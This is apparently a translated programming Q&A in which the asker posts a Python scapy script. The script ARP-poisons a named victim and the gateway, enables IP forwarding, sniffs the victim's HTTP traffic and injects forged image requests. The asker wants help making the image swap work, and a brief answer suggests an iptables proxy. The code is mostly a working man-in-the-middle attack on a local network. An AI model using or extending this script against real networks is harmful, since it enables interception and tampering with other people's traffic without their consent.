[英]Python scapy sniffing replacing images
我要做什么的簡短說明:)
我想用特定的圖片替換http流量中的所有圖片。
我先從arp欺騙進入流量。 然后,我正在檢查數據包是否包含http-raw數據。 如果是這樣,我將檢查請求是否為圖像請求。 如果是圖像請求,則嘗試用我自己的圖像替換該請求。
這是我的代碼:
#!/usr/bin/python
from scapy.all import *
import threading
import os
# Destination is the IP-Adress of the Victim
# Source ist the IP-Adress of the Gateway
# Opcode is Reply (2)
def VictimPoisoning() :
VictimPacket = ARP(pdst=VictimIP, psrc=GatewayIP, op=2)
while True :
try:
send(VictimPacket, verbose = 0)
except KeyboardInterupt:
sys.exit(1)
# Source ist the IP-Adress of the Gateway
# Destination is the IP-Adress of the Victim
# Opcode is Reply (2)
def GatewayPoisoning() :
GatewayPacket = ARP(pdst=GatewayIP, psrc=VictimIP, op=2)
while True:
try:
send(GatewayPacket, verbose = 0)
except KeyboardInterupt:
sys.exit(1)
def TCPHttpExtract(pkt):
if pkt.haslayer(TCP) and pkt.getlayer(TCP).dport == 80 and pkt.getlayer(Raw):
#This packet should be sent by every image request
OwnPacket="GET /resources/css/mdr/global/img/iconFlash.jpg HTTP/1.1\nHost: www.site.com\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0\nAccept: image/png,image/*;q=0.8,*/*;q=0.5\nAccept-Language: de,en-US;q=0.7,en;q=0.3\nConnection: keep-alive"
StringJPG=""
StringPNG=""
StringGIF=""
StringPacket=""
liste=[]
for line in pkt.getlayer(Raw) :
liste.append(line)
#Check if the requests contains an *.jpg, *.png, *.gif
#Just check JPG - rest will be implemented later on
StringPacket=re.findall('(\s\/.*?\s)', str(liste))
StringJPG=re.findall('.*\.jpg', str(StringPacket))
StringPNG=re.findall('.*\.png', str(StringPacket))
StringGIF=re.findall('.*\.gif', str(StringPacket))
if(StringJPG):
send(OwnPacket)
#Forward packets
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
print "\n----------------------------------------"
VictimIP = raw_input("Victim-IP: ")
GatewayIP = raw_input("Gateway-IP: ")
IFACE = raw_input("Interface: ")
print "-----------------------------------------\n"
VictimThread = []
GatewayThread = []
print "Start poisoning the Victim ... \n"
while True:
try:
# VictimThread
VicPoison = threading.Thread(target=VictimPoisoning)
VicPoison.setDaemon(True)
VictimThread.append(VicPoison)
VicPoison.start()
# GatewayThread
GWayPoison = threading.Thread(target=GatewayPoisoning)
GWayPoison.setDaemon(True)
GatewayThread.append(GWayPoison)
GWayPoison.start()
pkt=sniff(iface=IFACE, prn=TCPHttpExtract)
# Cancel with STRG+C
except KeyboardInterupt:
sys.exit(1)
arp欺騙正在工作,圖像正則表達式和數據包的發送也可以,但瀏覽器不會更改/獲取該圖像。 我必須先銷毀原始數據包嗎? 我不想使用ettercap,我想在這里用python :)
*很抱歉格式不正確。
感謝大家的幫助! :)
這個問題的答案是結合ip-tables代理。
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